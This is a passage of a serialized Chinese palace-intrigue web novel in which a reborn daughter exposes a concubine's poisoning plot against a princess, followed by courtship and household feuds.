《侯府忘恩负义,重生嫡女杀疯了》 第50章 水落石出 王大人犯了难。 明知道秦时月是无辜的,可若是丽姨娘咬死了,秦时月又拿不出证据,那这个案子就得一直拖下去。 “谁说只有侯府众人为我作证?”秦时月笑容甜美,只是眼里却多了一抹同情,“王大人,辰王一早登门,我与辰王说了会儿话,王大人可派人去查证。” “那又怎么样?也可能,也可能是你下毒后担心被撞到,所以才找借口离开公主府的…”丽娘直接打断了他们的谈话。 “的确有这个可能。不过刚刚,时月在西院有所发现,相信婢女的证词里也提到过那些。为了不破坏现场,时月并未动过任何东西,不如王大人带人去搜查一下,以免时月看错,冤枉了丽姨娘。” 此话一出,丽娘当场瘫软,脸色灰败如死人。 她竟然忘了,为了以防万一,那些东西都被她锁在了柜子深处。 刚刚突然被带过来,她没来得及销毁,若是搜屋,不出片刻就会被搜出来… 长公主侧目看了眼犹如丧家之犬的驸马,心里没有一丝涟漪。 秦时月时刻注意着长公主和驸马之间的互动,见长公主没有任何心痛的表情,便知道,有些心病,可以拔除了! 王大人在得到长公主的准许后,在嬷嬷的带领下来到西院,进门就开始搜索,果然是柜子里发现了一个被锁起来的木匣。 木匣里透出一丝药香,他们不懂药理药性,不敢随便做主,直接带了回来。 下人将木匣呈到长公主和驸马面前,打开一看,里面有几包粉末状的药粉。 其中一包,隐隐透着一股不同寻常的异香。 “这是何物?”长公主眸子一沉,不怒自威。 秦时月上前一步,仔细看过后说道,“这包是夹竹桃粉。夹竹桃全株有毒,尤其花粉和种子的毒性最烈,干燥后制成粉状,方便使用。食用会引起恶心呕吐、腹痛腹泻等症状,剂量大时,会致死。” “此物呢?” 长公主不管什么夹竹桃,她只想知道,这种熟悉的异香,到底是何物。 秦时月眼神锐利,“此物乃是西域‘曼陀罗’,花香对人无害,可若制成粉末,便成了一味奇毒。中毒者初时会感到精神恍惚,长期少量接触,会引发头疾,难以根治,但寻常医者并不会查出中毒症状,待本人察觉,便是无药可救之时…” 说着,她眼中闪过一丝疑惑。 丽娘不过一名普通村妇,即便入了公主府,所能接触到的人或事物也有限。 即便是秦时月,也是从东方苑的描绘中得知这等奇毒的,丽娘是如何知晓的?又是从哪里获取的? 西域奇毒,曼陀罗? 长公主眉头紧锁,眼中有震惊,有后怕。 她没想到,她这小小的公主府里竟然藏有如此诡异的毒物,也后怕,若不是秦时月,怕是等她死了,也不会有人察觉,她竟然日日与‘曼陀罗’为伴。 想到这里,长公主再看向秦时月时,眼神又柔和了几分,里边多了一丝感激。 王大人听着秦时月的话,脸色顿时冰冷不已。 这毒妇,竟敢在公主府藏毒,当真是胆大包天! 现在人证物证都有了,丽姨娘再狡辩也无济于事。 “来人,带走!” 丽娘眼神空洞的瘫坐在地上,嘴唇颤抖着说不出话来。 “丽娘,你还有什么话说?”秦时月似笑非笑,眼神冷漠。 若她只是对长公主下毒手,她都会觉得情有可原,毕竟,始作俑者是驸马。 可她却对亲生女儿下手,这等毒妇,便是千刀万剐,秦时月都不会动半点恻隐之心。 丽娘突然发疯似的笑了起来,笑声癫狂,“哈哈,我有什么话说?我怀了驸马的骨肉,我看你们谁敢动我!” 长公主眼睛圆睁,不敢相信的看向秦时月,却见她不动声色的点了一下头。 方才在西院,除了这些药味,她还闻到了一股保胎药的味道。 也是那时候她才想明白了丽娘为何会如此孤注一掷… “这到底是怎么回事?”王大人懵了。 秦时月看向疯癫的丽娘,缓缓说道,“丽姨娘这些时日她一直在给殿下下毒,可因为突然有身,所以等不及了。” “而且,她担心自己给殿下下毒一事暴露,只能铤而走险,给蓉姐儿下毒,打算用此事拿捏殿下,达到她的目的。” 丽娘狠狠瞪着秦时月,恨不得冲过去咬死她。 “微臣愚钝。”王大人断案无数,却想不明白此事。 怀孕原本是喜事,若一举得男,丽姨娘在府中的地位也能更加稳固,她又何至于… “为了逼本宫抬她做平妻。”长公主殿下神色复杂。 她自幼长在宫中,什么不入流的把戏没看过? 秦时月一点,她立刻想明白了其中的关键。 “殿下明鉴。”秦时月道。 “哦~臣明白了!”王大人狠狠看向丽娘,“你担心腹中孩子出生后被冠以庶子的身份,所以不惜对自己的女儿下此毒手!” “够了!”驸马突然怒吼一声,“丽娘,枉费我一心一意待你,你竟做出这等恶毒之事,蓉姐儿可是你的亲生女儿啊!” 他心里恐慌。 不是为性命堪忧的丽娘,而是为他自己… 他没想到丽娘竟如此胆大妄为,竟然敢给长公主下毒,甚至给蓉姐儿下毒。 “一心一意?”丽娘转头看向他,眼里是浓浓的不甘和恨意,“我是你明媒正娶的妻!你娶我在先,看就因为她!”她指向长公主,“我就成了见不得人的外室!你知道我有多恨吗?” “我恨你才华斐然,恨你抛弃妻女,更恨这个女人仗着身份抢走你,抢走正妻之位!可我太爱你了…为了你,我愿意日日遭受冷眼。可我不甘心,不甘心我的子女是庶子女,明明他们才是嫡出的。” “放肆!”嬷嬷气急,上去给了她一巴掌。 丽娘的嘴角顿时多了一条血丝。 “丽娘。”长公主突然开口,“原本本宫不需向任何人解释,但我不想你死不瞑目。” 第51章 丽娘绝望自尽 “本宫是欣赏驸马的才华,但也不是非他不可,本宫与驸马的婚事,确由本宫促成,可在成婚之前,本宫问过他,可有心上人,可曾婚配,若有,婚事作罢,但他全部否定了。你可知原因?” 长公主乃天之骄女,绝不可能与他人共享夫婿,而驸马隐瞒婚事的原因,也就不言而喻了。 便是这迷人的身份和富贵! 丽娘不傻,即便长公主没有说完,她也猜到了后半段话。 她瞪大了眼睛,一脸不可置信。 她没想到口口声声说爱她,日日夜夜与她耳鬓厮磨的男人竟然会否认他们的婚事,否认她和蓉姐儿的存在。 这一刻,她的天塌了,原本就脸色惨白的她只觉一阵天旋地转。 “不,不可能…他说过,他爱的只有我,他说过…是长公主以权压人,他不得不从,他说过,他说过!” 秦时月看着丽娘这副疯癫的模样,眉头皱了皱。 丽娘也是一个可怜人。 只是再可怜,也该做出这许多伤天害理之事,更不该拿蓉姐儿的命为自己博前程! “王大人,本宫乏了,你将人带下去吧。”长公主扫了眼脸色惶恐的驸马,轻声道。 王大人的手下过去拿人,丽娘突然疯狂大笑起来,笑声凄厉,“你在骗我!你这个贱人在骗我!你高高在上什么都有!可你从未得到过昱郎的真心!他爱的,从来都只是我!” “疯了,丽娘疯了,还不赶紧将她拉出去!”驸马心里一惊,脸上渗出了层层冷汗。 他好不容易坐稳这个位置,决不能因为一个疯子毁掉自己的前程! 长公主冷冷看着这一幕,没有任何反应。 事到如今,丽娘还当驸马爱她。 可驸马他啊,明明谁都不爱,只爱他自己。 驸马的眼里没有半点往日的温情,只有厌恶和害怕。 丽娘只觉心如刀绞,“哈哈哈…”她大笑起来,笑声绝望又狠戾,“昱郎,这辈子,我生是你的人,死是你的鬼,我和孩子做鬼都不会放过你!” 喊完,她突然朝柱子撞去。 砰的一声巨响,丽娘瘫软在地上,白色的脑浆混合着鲜血染红了她的衣襟和地板。 所有人被这一幕吓到,秦时月脸色苍白,强烈的恶心感袭上心头。 她连忙转过身干呕几声,双腿发软的跌坐在椅子上。 “晦气。来人,将丽姨娘的尸身带下去!”长公主拧眉吩咐道。 她从来不是什么善男信女,只是成婚后收敛了一些锋芒,这些场面于曾经的她而言,微不足道。 嬷嬷立刻招呼人上前将丽娘的尸身抬走了。 驸马哪见过这种场面,在丽娘的尸身经过自己身边时,他身子一抖,彻底昏死过去。 长公主在心里冷哼一声,没有理会。 “王大人,辛苦你走这一遭,这份案宗还请如实写。” “臣遵旨。”王大人退出去了。 直到殿内清净下来,长公主才关切的问道,“时月,你没事吧?” “回殿下,臣女有些不适,现在已经好些了…”秦时月声音虚弱。 刚刚她第一时间掐住了自己的穴位,这才不至于当场呕出来或昏过去,不过刚刚的场面,还是给她留下了不小的心理阴影,回去后,她还是要给自己调配一副安神汤才好。 “那就好。”长公主安心些,“这次若不是你,本宫只怕要被这对狗东西害苦了。” 她说的委婉。 若不是秦时月,只怕自己到死也不知道自己中了西域奇毒。 丽娘便这么自裁,当真是便宜她了! 秦时月迟疑一下,还是说出了心里担心,“殿下,稚子无辜,如今丽姨娘已经伏法,不知蓉姐儿…您打算怎么安置?” 她是罪人之女,若是寻常犯妇也就罢了,不至于牵连至亲,可偏偏丽娘是对长公主下毒手,追究起来,恐怕蓉姐儿也难逃一死。 长公主勾勾唇,“你当本宫真是个铁石心肠的?放心,本宫不会动蓉姐儿,只是,丽娘做出这些事,蓉姐儿不能再留在公主府。” 不仅是蓉姐儿,还有休弃驸马一事。 只是当朝并无休夫的先例,这种事她还需和陛下请示一下,所以当下,她并没有提。 “殿下宽宏大量,时月佩服。”秦时月诚心道。 前世她与长公主殿下并无私交,并不知道长公主为人,现在看来,她和皇后娘娘一样,都是极好的人。 “好了,这里没外人,你我不用这么客套。”长公主轻笑一声,看向刚刚进来的嬷嬷,道,“命人将驸马抬回院中治疗,不必用上等伤药,吊着一口气不死就成。” 嬷嬷眼神一亮,立刻招呼人将驸马抬了出去。 看到长公主对驸马的态度,秦时月隐约能猜到她的心思,笑道,“看来,殿下的心病已经不再需要臣女了。” “呵呵,你呀,鬼灵精的。只是这件事在尘埃落定前,不能传出去,嗯?” “殿下放心,时月不是个多嘴的。” 两人相视一笑,一切尽在不言中。 第二日,秦时月为长公主请了平安脉,随后为她施了一次针,重新开了一张药方。 “殿下的头疾已经好的差不多了。”她将药方递给嬷嬷,“劳烦嬷嬷照方拿药,每日两次,连服三日即可。” “时月这是要回去了?”长公主皱皱眉,有些不舍。 这几日秦时月跟在自己身边,她已经习惯了,她要离开,自己身边又没了个说话的可心人儿,她还真是舍不得。 秦时月笑笑,“长乐侯府距公主府也就两条大街的距离,若是殿下想我了,大可以派人来叫我。” 东方苑说过,天下无不散的筵席,况且,她这一去,又不是再也不出现了。 “噗嗤。”长公主低笑一声,“倒是本宫多虑了。来人!” 秦时月不仅治了她的病,更为她揪出了幕后下毒手的人,解了她的心结,这等情分,不是三言两语就能揭过的。 “去库房取如意一对,翡翠步摇一支,再取本宫私藏的血燕和百年人参两支,一并赠与明月县主,再备马车送她回去。” 第52章 回家 “殿下…”秦时月有些惶恐。 她虽没见过这些东西,但长公主出手,自然皆是精品,何况血燕乃是皇家贡品。这几项加起来,其价值不可估量。 “你切莫推辞。”长公主皱眉,“给你这些,本宫还觉得少了。” 来日方长,将来,还有大的造化等着她。 思及此,长公主眼神幽深,看着秦时月的眸光带笑。 长乐侯府门口。 秦时月才下马车,迎面就撞到了一位满脸怒容的男子,不是陆明昭又是谁? 今日他是为秦可云来的。 前些日子他们在长公主的琼花宴上“出尽风头”,他被关在祠堂好几日,今日好不容易得了自由,他自然要来看看秦可云。 谁知秦可云竟然被关在柴房。 虽然不至于浑身脏污,但头发散乱,眼睛红肿眼神空洞,脸颊消瘦,整个人狼狈至极,早没了往日的小家碧玉,清新脱俗。 他怒从心起,想找到长乐侯要个说法,谁料却被个上不得台面的姨娘“请”了出来,说什么长乐侯还没下朝,请他过后再来… 他身为定远侯府世子,哪受过这种气? 正气的想强闯进去先将秦可云带出来,就看到公主府的马车停下。 他连忙整理衣冠打算给长公主请安,一抬头就看到了秦时月。 今日她穿了一身淡紫色绣兰花的裙裳,外边披了一条白狐皮大氅,莲步轻移,裙摆随着她的步伐轻轻摇曳,宛若一股温柔春风拂过陆明昭的心头,让他眼前一亮。 这一刻,天地都黯然失色了。 “时月?你这是…” 没注意到秦时月眼底的厌恶,陆明昭上前一步,殷切问道。 这可是长公主的马车,寻常人谁有这么大的架子? 秦时月没理会他,跟车夫道了谢,抬脚往大门走去。 陆明昭不死心,跟着再次进了院。 “陆世子这是何意?”秦时月停下,满脸不悦的看着他。 “我,我今日得空,来看看你。” “是来看秦可云的吧?”秦时月没功夫跟他演戏,直接戳穿了他。 陆明昭脸色难堪,但不想放弃,“我是来看你,顺路来看她的。” 他抬眸,紧紧看着她。 没想到多日不见,她比先前,更夺目了。 秦时月笑了,“做出丑事被人谈论的不是我,陆世子是不是关心错人了?” “你…”陆明昭攥紧拳头,“你就非得这么伶牙俐齿吗?我记得以前的你温柔小意,最是体贴人。” 秦时月没有回话,只是看向他的目光里充满了嘲讽。 是啊,上一世的她温柔小意,满心满眼都是对亲情的渴望,可到最后她得到了什么? 亲人的背叛,孤独惨死。 这一世,她只是用他们曾经对她的方式对待他们,他们反倒接受不了了。真是可笑! 深吸口气,秦时月道,“我自然没有秦可云会讨你们欢心,陆世子还是去找秦可云吧。” 陆明昭还想说什么,却被她再次堵了回去,“哦对了,我差点忘了,先前秦可云说怕是怀了陆世子的骨肉。” 她表面在替他着想,可字字句句无不在提醒他,他和秦可云之间的苟且。 “小姐。”说话间,肖嬷嬷走了过来。 看到陆世子,福了福身子,连忙扶住了秦时月。 她抬腿就走,不忘留下一句,“血脉连心,陆世子有闲心跟我说话,不如想想怎么将秦可云救出来,少受些罪的好。” 陆明昭脸色铁青,看着她离开的背影想说什么,却一个字也说不出来。 怀孕…可云难不成真的有了自己的骨肉?只是一次就怀上,未免有些让人怀疑。 但若真怀了,他也不能放任不管。 咬咬牙,陆明昭转身就走。 “小姐同陆世子提秦可云那个小娼妇做什么?她被关到死才好。” 肖嬷嬷扶着她,扫了眼匆匆离开的人影,疑惑问到。 那个小娼妇做出那等不要脸的事,连累小姐被人指点,若非小姐救驾有功,哪能有好的姻缘?更别说辰王殿下那等良人了。 秦时月笑笑,抬眼看了眼刚冒新芽的树枝,“死是最好的解脱,我要让她,求生不得,求死不能。” 秦可云一心想嫁进定远侯府,她就给她个机会。 毕竟,她若不嫁过去,又怎会知道,定远侯府也是个吃人不吐骨头的狼窝? “嬷嬷,兄长这两日有什么动静吗?”收回目光,秦时月问道。 “没有,这两日大公子将自己关在书房,像是在反省。” “噗嗤。”秦时月笑笑,没有说话。 经历前世一遭,她比谁都要了解她这位兄长。 反省是绝不可能反省的,许是在筹划其他事情。 “大小姐。”两人并肩走着,身后突然传来芳娘的声音。 秦时月脚下一顿,缓缓转身。 芳娘左右看了一下,然后小声道,“大小姐,还请移步芳萍园。” 肖嬷嬷皱皱眉,正要呵斥,却被秦时月抬手阻止了。 “嬷嬷,你先回去吧,跟小荷说,我要吃芙蓉糕和杏仁酪,让她准备着吧。” 芳娘找她,自然是为了抬身份的事。 秦时月看着她。 前世芳娘对她有恩,如今家里家外又打理的不错,她看在眼里,自然愿意拉她一把。 只是不知…这人一旦身份上去了,还能不能始终如一。 芳娘被盯的不自在,眼眸垂下。 不知为何,眼前这位虽然始终带笑,但她总觉得自己看不透她。 这种感觉,让芳娘时时心慌,不敢在秦时月面前踏错半步。 芳萍园。 婢女送上茶水点心后就被芳娘遣退下去。 秦时月扫了眼朴素的内室,眼底情绪不明。 “大小姐,我有些等不及了。”芳娘开口,没有绕弯子。 对此,秦时月倒是感到挺意外的,她以为,她会先跟自己诉诉苦。 她端起茶喝了一口,茶水入口苦涩,并不是今年的新茶… “大小姐?” “如今长乐侯夫人身患失心疯,你已经拿到了掌家的权利,为什么还这么急?”秦时月好笑问道。 第53章 道谢顺便送行 芳娘看着眼神澄澈的秦时月,嘴里发苦。 为什么?因为怕好不容易攥到手的权利轻易流失。 只是这番话,她不敢说,她怕。 秦时月昨日回府的一系列动作婢女一五一十讲给了她。 虽然早知道秦时月手段强悍,但她怎么也没想到,就连侯爷都被她玩弄在了股掌中。 芳娘不是个蠢的,她看的清楚,这个家,表面上还是侯爷说一不二,可暗里,其实早已变了天。 秦时月并不拆穿她,只是随口说道,“芳姨娘放心,我对管家的事情没兴趣,只要你不仗着侯府的名声胡作非为,你的事,我不会干涉。” 她将茶杯放下,继续道,“明远是个好苗子,悉心栽培,往后你们娘俩儿的好日子在后头。” 说完,她起身往外走。 平妻之位算什么?只要她能为自己所用,便是这侯府唯一的当家主母,她也是坐得的。 “大小姐…” 她没给自己一个准确的回复,芳娘总觉得心里不踏实。 “如今你统管整个侯府,院里也该置办些像样的东西,免得父亲来了觉得寒碜。” 长乐侯是个极要面子的人,若是芳娘只懂用美色侍人,必然长久不了。 芳娘脸色一白,瞬间明白了她的意思。 回到揽月园,秦时月愣了一下,“嬷嬷,这是怎么回事?” 她看着满屋精美华丽的摆件,上等的红罗炭,忍不住皱了皱眉。 不过一天的时间,这还是她的屋子吗? 如今她不是没钱享受这些,只是身份越高,越不可张扬的道理她还是懂的。 况且这红罗炭,自古以来都是皇室专用… 想到这,她眉头舒展一些,任由小荷为她脱下了大氅。 “小姐,这些都是辰王身边的侍书带人送来的,说是天气还寒,担心小姐的身子。”肖嬷嬷说着,视线落到了床榻上,“侍书还带来了几床上好的狐皮褥子,说是给小姐垫在床上,能驱寒保暖,还有…” 肖嬷嬷一样样为秦时月介绍着侍书送来的东西,脸上的笑意怎么都藏不住。 辰王真是有心,小姐也算遇到了个良缘。 秦时月脸色微红,却没有接话。 宋墨辰的意思她明白,无非是昨日看到自己被侯府刁难,想用这个方法告诉众人,她是未来辰王妃,算是给她撑腰。 不过,大可不必,她早已不是前世那个任人拿捏的秦时月,而是带着恨意重生的明月县主。 “小姐,听说辰王午后就要启程了,您要不要去见他一面?”肖嬷嬷小声询问。 辰王待小姐这样好,于情于理,小姐也该相送一番。 秦时月皱眉看了眼外边的天色,思考一下,点了头,“小荷,准备两盒点心,一会我要带上。” 宋墨辰身为皇子,自然什么都不缺。 而她现在所拥有的一切都来自皇后娘娘和长公主殿下,实在不好借花献佛,所以,两盒点心,表一下自己的心意也就是了。 嬷嬷心里高兴,转身去柜里挑了套流光暗纹锦制成的宝蓝色绣金线的裙裳,又拿了件配套的大氅,“小姐穿这身去,必然能让辰王眼前一亮。” 秦时月笑笑,“何至于此?小荷,为我重新上妆。” 她身上这套已经不俗,没必要刻意打扮。 小荷手脚麻利,为她选了一支白玉兰花簪,斜斜插入发髻,又为她上了一个淡雅的妆容,衬得她气质出众,清丽脱俗。 做完这一切,主仆三人才坐上马车出府。 长廊拐角,秦怀瑾恶狠狠盯着她们离开的背影,拳头紧紧攥起。 他想了一夜才想明白,昨日的一切都是这个贱人计划好的。 她先是利用母亲给他们下套,让他们误以为她在伤害母亲,从而做出错误的反应,而目的,自然是离间他们和可云的关系! 好歹毒,还深沉的心思! “公子,您别气坏了身子。”他身边的长安见他脸色不对,小声劝道。 秦怀瑾咬紧牙关,声音愤怒,“秦时月,你给我等着,等我成为侯府世子,我第一个拿你开刀!” 说完,他收回目光,脸色难看的看向长安,“可云那边怎么样了?” 长安浑身一僵,垂头回道,“侯爷不让人探视,但我和看管二小姐的下人关系还不错,听他说,二小姐过的很不好…” 想想也知道,柴房那种地方四处漏风,又不许人探视,能过的好才怪。 秦怀瑾脸色难看,“去准备些东,我要去看可云。” 她一个弱女子,哪经历过昨日那种场面,她会想着摘干净也情有可原。 怪就怪自己还没有能力保护她,否则的话,她也不至于被关进柴房。 另一边,秦时月坐着马车很快到了辰王府。 辰王府门口,小厮见是长乐侯府的马车,立刻跑进去通报。 秦时月没等多久,侍书就出来了。 见到秦时月下车,他眼睛一亮,忙上前拜见,“原来是明月县主,快里边请。” 主子若知道是王妃到了,一定会很高兴的。 秦时月微微点了一下头,“我刚才看到下人们搬进搬出的,这是在准备启程的东西?” “是,此行去江南日子短不了,皇后娘娘担心王爷吃住不习惯,所以专门派人来收拾。 秦时月不是外人,侍书毫不遮掩。 “县主这边请。” 侍书在前边带路,几人一路走到了书房。 此时宋墨辰正在处理公务,并不知来人是秦时月。 进门后,侍书退了下去。 秦时月看着书桌后一脸专注的宋墨辰,心情有些复杂。 若非腰间那半枚玉佩,她不会重生,可也正因为那半枚玉佩,才让她的心里充满了疑惑。 “臣女见过殿下。” “时月?”听到声音,宋墨辰抬起头,“你怎么来了?” 看清来人,他那幽暗的眸子里瞬间闪过一丝喜色,起身出来,不忘朝门外喊,“快给秦小姐上茶!” “殿下不必如此客气。”秦时月脸颊一红,只觉得书房里有些燥热。 肖嬷嬷帮她脱下大氅,恭敬的退到了一旁。 “快坐,这一路过来累坏了吧?”她身子不好,宋墨辰自然担心。 第54章 送礼小心机 “没,没有。” 宋墨辰的视线一直在她的小脸上,见她气色比昨日好,这才松口气。 “我不知你今日过来,没什么准备。”皱眉想了想,宋墨辰转身拿起桌边一个精致的小盒子,“这是容华阁新到的,我瞧着精致就买了下来,送给你。” 秦时月接过,打开一看,里面是一枚精致的玉佩,上面刻着‘明月’二字,小脸更红了。 这玉佩上的字…她不是傻子,不相信什么巧合。 “咳,这东西虽然不值钱,但却是我的一份心意,你可要好好收着。”宋墨辰担心她婉拒,半玩笑半认真的说道。 秦时月心中一暖,将盒子递到了肖嬷嬷手上,“多谢殿下,时月记住了。” “殿下,时月没什么拿的出手的,这些是小厨房做的一些糕点,外边是买不到的,得知殿下午后离京,特意送来一些给殿下路上用。” 宋墨辰眸光一亮,连忙伸手接过,“多谢。” 她心里有自己,这种感觉,还不错… “辰王哥哥!” 两人之间的气氛正尴尬,门口突然传来少女娇俏的喊声,随后便是掀开帘子的声音。 “秦时月?” “王爷恕罪,奴才没能拦住郡主。”侍书脸色难看的跟在后边,一进门就连忙请罪。 这景阳郡主无法无天惯了,侍书虽然是宋墨辰身边的贴身随从,也不敢拦。 “下去吧。”宋墨辰皱皱眉头,平静道。 景阳郡主冷冷瞪了秦时月一眼,然后走到宋墨辰身边,一把挽住了他的胳膊,不依的道,“辰王哥哥,听姑母说你一早就去给她老人家请安了,你怎么不等等我呀?” 宋墨辰皱皱眉,不动声色的抽出胳膊,“景阳,你如今已有十七,是个大姑娘了,以后不得这般没规矩。” 他向来不喜旁人触碰,更何况男女有别。 赵景阳眼神一沉,脸上却浮现出一丝委屈,“你以前不是这样的,辰王哥哥,是不是时月姐姐同你说了什么,所以你才会跟我这般生疏啊。” 说着,她扭头看向秦时月,眼里是浓浓的嫉恨。 她好不容易说服姑母,让她帮自己要一份赐婚圣旨,可姑母还没行动,陛下给宋墨辰和秦时月的赐婚圣旨就传到了长乐侯府。 原本她还想着她和宋墨辰自小一起长大,情分深厚,不是一个秦时月能相比的,可现在看来,不是那么回事。 秦时月心里好笑,面上却没有任何波澜。 上一世她从南方回来后就被禁锢在后院,对这位景阳郡主知之甚少,对她未来的姻缘更是一无所知。 想到这些,她不自觉的看向宋墨辰。 辰王对她似乎没有别的意思,就是不知太后那边… 秦时月心里有些发酸。 但她经历过一世,对感情这种东西已经不抱太大希冀,只希望和宋墨辰成婚后能相敬如宾,所以,他真的迎娶景阳郡主亦或是其他人,她也不会太计较,只要她们安分些,她也能同她们和平相处。 “景阳!”宋墨辰眉头一拧,声音冷了下来,“你太放肆了。” 赵景阳听了,眼泪在眼眶里打转,委屈极了,“辰王哥哥,你以前不是这样的,你是不是喜欢上她了?” 宋墨辰府中没有通房,侍妾,身边也没有红颜知己,所以赵景阳放心的很。 可如今,她看得出来,宋墨辰对秦时月是不同的,这让她产生了严重的危机感。 宋墨辰有些烦躁,他向来不喜解释这些儿女情长,可又不想让秦时月无端受委屈。 看了秦时月一眼,耐着性子道,“景阳,我和时月的婚事乃父皇母后亲自做主,以后,你还要唤她一声皇嫂,以后在我们面前,不许再这样没规矩。” “咳。”秦时月轻咳一声,打断了这两人的对话,“殿下,郡主,时间也不早了,臣女告…” 她可不想无端卷进他们的感情纠葛之中,毕竟,她有更要紧的事做。 可赵景阳根本不给她机会,上前两步,抬手就要扇人,“放肆!本郡主与辰王说话,哪有你说话的份?” 预想中的巴掌没有落下,宋墨辰黑着脸挡在秦时月身前,骨节修长的大手死死攥着赵景阳的手腕,疼的她小脸惨白。 “够了!”宋墨辰怒了。 他怎么都没想到赵景阳竟然被惯的如此无法无天,连他的女人也敢动。 秦时月挑挑眉,不动声色将指尖的银针藏进了袖袋中。 刚刚赵景阳抬手的那一刻,她已经捏住了银针,只等她巴掌落下,自己一个“惊慌失措”——还手。 这是她重生后养成的习惯,为的就是担心有人对她不利。 只是让她没想到的是,宋墨辰会为她挡下。 “时月,让你受惊了。侍书,取两株天山雪莲来,然后送秦小姐回府。” 他虽然不舍得让秦时月离开,但赵景阳跋扈,勉强让她留下来,指不定要受多少委屈。 他和秦时月来日方长,儿女情长不在这一时。 侍书领命退下,秦时月深深看了宋墨辰一眼,道了声“王爷保重”,便在肖嬷嬷的搀扶下离开了。 看到这一幕,赵景阳的眼神更阴沉。 “景阳,本王累了,你先回去吧。”宋墨辰收回目光,随手将食盒放在了桌子上。 这是时月送的,一会儿他要叮嘱侍书,千万要带上。 “辰王哥哥…”赵景阳回过神,眼里充满了委屈,“你一会儿就要启程了,景阳只是想送送你,也不行吗?” “不必。”宋墨辰绕到书桌后,抬手在公文上签上名字,然后收起放到了一旁。 就在这时,赵景阳意外在食盒上看到了几个簪花小楷——长乐侯府,顿时冷了脸。 这食盒竟是那贱人送的! 听不到离开的脚步声,宋墨辰不耐烦的抬眸,此时,赵景阳已经换上一副笑脸,“辰王哥哥,你别生气,我,我走还不成吗?” 她紧紧攥着拳头,笑容僵硬。 那个贱人惯会用眼神和这种不入流的手段勾引人,既然这样,那她就毁了她的双眼,看她以后还怎么勾引人! 第55章 被扇,计划提前 回到侯府,秦时月直接回了揽月园,她需要好好计划一下接下来的路。 长乐侯府表面看似平静,实则暗潮汹涌。 如今她捅破了长乐侯府表面的平静,接下来就要应对秦怀瑾和秦可云的反击,而他们,一个个都不是善茬。 “大小姐怎么回来的这样早,不是说去送辰王了吗?” “说不定是辰王不见她…行了行了,你们手上的活都干完了吗?还不干活去。” 原来伺候秦可云的婢女眼神冰冷的看着揽月园的方向,拳头捏的死紧。 秦可云对她倒算不得多好,但秦可云受侯府上下喜欢,有主子庇佑,她的日子也能好过些。 可如今秦可云被关进柴房不许人探视,她这个大丫鬟被派了许多粗活,就连府上的一些小丫鬟、家丁都敢对她落井下石。 “不行,我不能这样坐以待毙,得想办法把二小姐救出来…” “小姐,明日是十五,咱们还去正厅吗?”肖嬷嬷一边服侍秦时月脱下大氅,去下钗环,一边问到。 这点日子府上出了这么多事,夫人被困在暖香园,秦可云被关在柴房,一起吃饭,怕是又要闹的不愉快。 “自然要去的,这是父亲定下的规矩,我怎么好破坏?”秦时月笑道。 不过嘛,这顿饭怕是吃不好,过去前,她得吃点东西垫垫肚子。 翌日傍晚,除长乐侯夫人和秦可云,所有人齐聚正厅。 桌面上摆满了山珍海味,可坐在桌边的,除了秦时月,所有人都脸色不佳。 “父亲,可云被关了这几日已经受到教训了,您看,可否让下人将她放出来。” 秦怀瑾消瘦许多,尤其昨天见过秦可云后,更是心疼的一天没进东西。 长乐侯本来就心情不佳,见他提起秦可云,脸色更是难看的厉害。 芳娘心里偷笑,连忙给长乐侯夹菜,“侯爷,明远这次又得先生夸奖了,还说日后好好栽培,一定能成大器。” 长乐侯脸色这才好看些,“嗯,明远打小就聪慧,过段日子我再给他寻个名师好好栽培。” “父亲…”秦怀瑾被无视,不免有些着急。 秦时月在心里暗骂一声蠢货,自顾自夹菜吃。 果然,长乐侯当即啪的一声拍了筷子,“够了!那逆女险些害了整个侯府,如今你不想着和她断绝关系,反而为她求情,我怎么生了你这么个蠢货!” 在他心里,权势地位为首要,若是秦可云是个懂的感恩的,他还能对她心软些,可惜,秦可云就是个养不熟的白眼狼,竟然妄想将整个侯府拉下马! “侯爷,您尝尝这道菜,这是我吩咐小厨房特意做的。”芳娘偷瞄秦怀瑾一眼,看到他脸色铁青,眼里多了一丝得意。 秦时月擦擦嘴角,抬眸看向门口。 看时间,她也该到了,难不成是出什么意外了? 正想着要不要命小荷去走一遭的时候,门外突然传来一声声尖锐的喊声。 “你们放开我!我要见侯爷,我要见我儿子!” 来了! 秦时月嘴角微勾,不动声色的给小荷使了个眼色,小荷立刻退下。 “是夫人,她怎么跑出来了。”芳娘心里一紧,有些怀疑的看向秦时月。 见她面上平静,咬咬唇,连忙起身,“定是看管夫人的下人偷懒,妾身这就去…” “今日十五,原本就该一家人团聚,父亲,您当真如此狠心?”秦怀瑾冷着脸问。 长乐侯自从坐上这个位置,还从来没有被人这样挑战过权威,当即沉了脸。 不过,他和长乐侯夫人少年夫妻,人已经来了,要说狠心将她抓回去看管起来,他又做不到。 “父亲,母亲定然是思念您过度,既然她找过来了,不如就让她留下来吧。”秦时月秀眉微皱,出口为长乐侯夫人求情。 “咳,既然时月开口了,那就将人请进来吧。” 芳娘心里疑惑,不知秦时月想做什么。 不过,直觉告诉她,秦时月有自己的计划,她还是别做什么小动作的好,免得引火烧身。 长乐侯夫人被带进来,一进来就发疯的冲到了秦时月面前。 秦时月起身,朝着她行礼,“母…” “啪”的一声,秦时月的小脸歪向了一旁,头发也散落了几根。 “夫人,您这是做什么?”肖嬷嬷被吓了一跳,连忙冲过去查看,“小姐底子弱,经不起这样…” 秦时月一握着肖嬷嬷的手,阻止她再说下去,一手捂着小脸低垂着头,众人看不清她的表情。 她的嘴角却勾起了一个残忍的弧度。 自己原本不想这么快料理她的,既然她上赶着,那自己也不用再顾念那不存在的亲情了! “母亲。”她泪眼朦胧的抬头,小脸惨白了几分,“时月不知哪里做错了,竟惹的母亲如此生气。” “孽种!是你,是你害可云被关进了柴房!要不是她身边的小喜来报,我还要被蒙到什么时候?” 长乐侯夫人气极。 高僧说过,长乐侯府两女,其一乃是天命之女,只要好生对待,侯府中人便可加官进爵,诸事皆宜。而另一个则是灾星降世,迟早会给侯府带来灭顶之灾。 这些年,长乐侯夫人坚信秦可云就是那个天命之女,如今她遭受这样的磋磨,她气急攻心,差点没昏死过去。 这不,小喜才来向她禀报,她顾不得许多就赶了过来。 而且她认定秦可云的所有遭遇都是秦时月这个灾星造成的,她就是想毁了整个侯府。 “夫人,您是不是误会什么了?”芳娘都有些看不过去了。 明明大小姐才是夫人亲生的,她实在不明白,长乐侯夫人为何会如此重视一个养女… “贱人!这里哪有你说话的份?” 